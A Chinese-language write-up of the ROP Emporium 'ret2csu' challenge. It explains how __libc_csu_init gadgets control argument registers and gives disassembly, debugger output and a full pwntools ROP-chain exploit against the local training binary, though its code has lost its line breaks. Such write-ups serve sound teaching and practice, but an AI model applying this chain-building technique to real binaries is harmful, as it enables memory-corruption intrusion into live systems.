Write-ups: ROP Emporium series
Table of contents
Open Table of contents
前言
两月一号了,眼看九号就要打比赛我却还没学过 ret2csu
和 SROP
,所以特此提前开一章 ROP Emporium 的题解,问就是里面有一道 ret2csu
,而且早晚会得这份题库的 LMAO
可惜没有 SROP
,那这个我只能去 Nightmare 找题做了,要不就自己出一题也行。
啊,突然想起来还有 ret2dlresolve
和 ret2vDSO
……一会儿再开一章 tricks 专题好了,就从 ROP 的 tricks 开始写。
Challenge 8
Information
- Category: Pwn
Description
We’re back in ret2win territory, but this time with no useful gadgets.
How will we populate critical registers without them?
Write-up
好啊,ROP Emporium 一共就八道题,而 ret2csu 就是这最后一题,有种上来就 bypass 小怪直奔去 attack BOSS’s ass 的感觉,帅不帅?(bushi)
嗯……有关 ret2csu
这个 trick 的详细信息,可以去读这篇发在 Black Hat Asia 的论文1.
简单来说就是当你找不到可以控制函数参数的 gadgets 时,就可以考虑一下这个 trick.
当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫
__libc_csu_init
的函数。——Hack Tricks
就以本题的 __libc_csu_init
为例(不同版本的 libc 的这个函数可能略有区别,不过影响不大),看一下里面有什么好东东:
__libc_csu_init__libc_csu_init ; =============== S U B R O U T I N E =======================================__libc_csu_init__libc_csu_init__libc_csu_init ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)__libc_csu_init public __libc_csu_init__libc_csu_init __libc_csu_init proc near ; DATA XREF: _start+16↑o__libc_csu_init ; __unwind {__libc_csu_init 000 push r15__libc_csu_init+2 008 push r14__libc_csu_init+4 010 mov r15, rdx__libc_csu_init+7 010 push r13__libc_csu_init+9 018 push r12__libc_csu_init+B 020 lea r12, __frame_dummy_init_array_entry ; Load Effective Address__libc_csu_init+12 020 push rbp__libc_csu_init+13 028 lea rbp, __do_global_dtors_aux_fini_array_entry ; Load Effective Address__libc_csu_init+1A 028 push rbx__libc_csu_init+1B 030 mov r13d, edi__libc_csu_init+1E 030 mov r14, rsi__libc_csu_init+21 030 sub rbp, r12 ; Integer Subtraction__libc_csu_init+24 030 sub rsp, 8 ; Integer Subtraction__libc_csu_init+28 038 sar rbp, 3 ; Shift Arithmetic Right__libc_csu_init+2C 038 call _init_proc ; Call Procedure__libc_csu_init+31 038 test rbp, rbp ; Logical Compare__libc_csu_init+34 038 jz short loc_400696 ; Jump if Zero (ZF=1)__libc_csu_init+36 038 xor ebx, ebx ; Logical Exclusive OR__libc_csu_init+38 038 nop dword ptr [rax+rax+00000000h] ; No Operation__libc_csu_init+40__libc_csu_init+40 loc_400680: ; CODE XREF: __libc_csu_init+54↓j__libc_csu_init+40 038 mov rdx, r15__libc_csu_init+43 038 mov rsi, r14__libc_csu_init+46 038 mov edi, r13d__libc_csu_init+49 038 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8] ; Indirect Call Near Procedure__libc_csu_init+4D 038 add rbx, 1 ; Add__libc_csu_init+51 038 cmp rbp, rbx ; Compare Two Operands__libc_csu_init+54 038 jnz short loc_400680 ; Jump if Not Zero (ZF=0)__libc_csu_init+56__libc_csu_init+56 loc_400696: ; CODE XREF: __libc_csu_init+34↑j__libc_csu_init+56 038 add rsp, 8 ; Add__libc_csu_init+5A 030 pop rbx__libc_csu_init+5B 028 pop rbp__libc_csu_init+5C 020 pop r12__libc_csu_init+5E 018 pop r13__libc_csu_init+60 010 pop r14__libc_csu_init+62 008 pop r15__libc_csu_init+64 000 retn ; Return Near from Procedure__libc_csu_init+64 ; } // starts at 400640__libc_csu_init+64 __libc_csu_init endp__libc_csu_init+64__libc_csu_init+64 ; ---------------------------------------------------------------------------
我们发现有两个实用的 gadgets,分别是:
pop rbxpop rbppop r12pop r13pop r14pop r15ret
mov rdx, r15mov rsi, r14mov edi, r13dcall QWORD PTR [r12 + rbx * 8]
这不就直接控制了函数的前三个参数了?多好。
注意第二个 gadget 也可以是以 ret
结束的,但是需要抵消一些 side effects:
mov rdx, r15mov rsi, r14mov edi, r13dcall QWORD PTR [r12 + rbx * 8]add rbx, 0x1cmp rbp, rbxjnz <func> <snap>ret
[r12 + rbx * 8]
必须指向一个存储可调用函数的地址(如果没有想法且没有 PIE,可以直接使用_init
函数)。rbp
和rbx
必须具有相同的值以避免跳转。- 有一些被省略的
pop
s 需要考虑。
另外,从 ret2csu gadget 控制 rdi 和 rsi 的另一种方法是通过访问特定的偏移量,可以参考这篇讲 BROP 的论文2.
唯一一个问题可能就是怎么让 call QWORD PTR [r12 + rbx * 8]
调用 _init
了,不解释,直接看操作:
pwndbg> x/a _init0x4004d0 <_init>: 0x1d058b4808ec8348pwndbg> search -t dword 0x4004d0Searching for a 4-byte integer: b'\xd0\x04@\x00'ret2csu 0x400398 rol byte ptr [rax + rax*2], 1ret2csu 0x400e38 rol byte ptr [rax + rax*2], 1ret2csu 0x600398 0x4004d0 (_init)ret2csu 0x600e38 0x4004d0 (_init)
Exploit
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./ret2csu"HOST, PORT = "localhost", 1337
gdbscript = """b *pwnme+133c"""
@contextmanagerdef launch(local=True, debug=False, aslr=False, argv=None, envp=None): target = None
try: if local: global elf
elf = ELF(FILE) context.binary = elf
target = ( gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) if debug else process([elf.path] + (argv or []), env=envp) ) else: target = remote(HOST, PORT) yield target finally: if target: target.close()
def construct_payload(): padding_to_ret = b"".ljust(0x28, b"A")
_init = 0x600398 __libc_csu_init = elf.symbols["__libc_csu_init"]
generic_gadget_1 = __libc_csu_init + 90 generic_gadget_2 = __libc_csu_init + 64 pop_rdi_ret = __libc_csu_init + 99
cleanup_regs = [b"".ljust(0x8, b"A") * 6]
return flat( padding_to_ret, generic_gadget_1, 0x0, # rbx 0x1, # rbp _init, # r12 —▸ _init b"".ljust(0x8, b"A"), # r13 0xCAFEBABECAFEBABE, # r14 —▸ rsi 0xD00DF00DD00DF00D, # r15 —▸ rdx generic_gadget_2, b"".ljust(0x8, b"A"), # add rsp, 0x8 *cleanup_regs, # for generic_gadget_1 pop_rdi_ret, 0xDEADBEEFDEADBEEF, elf.symbols["ret2win"], )
def attack(target): try: payload = construct_payload()
target.sendafter(b"> ", payload)
response = target.recvall(timeout=3)
if b"ROPE{" in response: return True except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: with launch(debug=False) as target: if attack(target): log.success("Attack completed successfully.") else: log.failure("Attack did not yield a flag.") except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: ROPE{a_placeholder_32byte_flag!}
后记
没有后记,这系列还有七题没打呢写个毛的后记……